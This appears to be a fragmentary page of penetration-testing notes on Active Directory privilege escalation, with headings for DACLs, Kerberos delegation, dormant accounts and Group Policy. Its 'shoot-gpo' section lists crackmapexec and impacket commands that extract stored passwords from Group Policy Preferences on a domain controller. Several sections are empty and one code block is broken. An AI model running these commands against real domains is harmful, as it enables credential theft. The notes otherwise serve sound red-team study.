pen / ad / privesc

Mitre Att&ck Entreprise: TA0007 - Discovery

Menu

• dacl
• kerberos
  • delegation
• vuln_user_accounts_dormant
• shoot-gpo

dacl

credit: thehacker.repices

kerberos

delegations

recipes / slides

vuln_user_accounts_dormant

• Queries: ```powershell

pwdLastSet

* [Description](https://www.cert.ssi.gouv.fr/uploads/ad_checklist.html#vuln_user_accounts_dormant)


## <a name='shoot-gpo'></a>shoot-gpo
```bash
# cme
crackmapexec smb $zdom_dc_ip -u $ztarg_user_name -p $ztarg_user_pass -M gpp_pasword
crackmapexec smb $zdom_dc_ip -u $ztarg_user_name -p $ztarg_user_pass -M gpp_autologin
# impacket
Get-GPPPassword.py $zz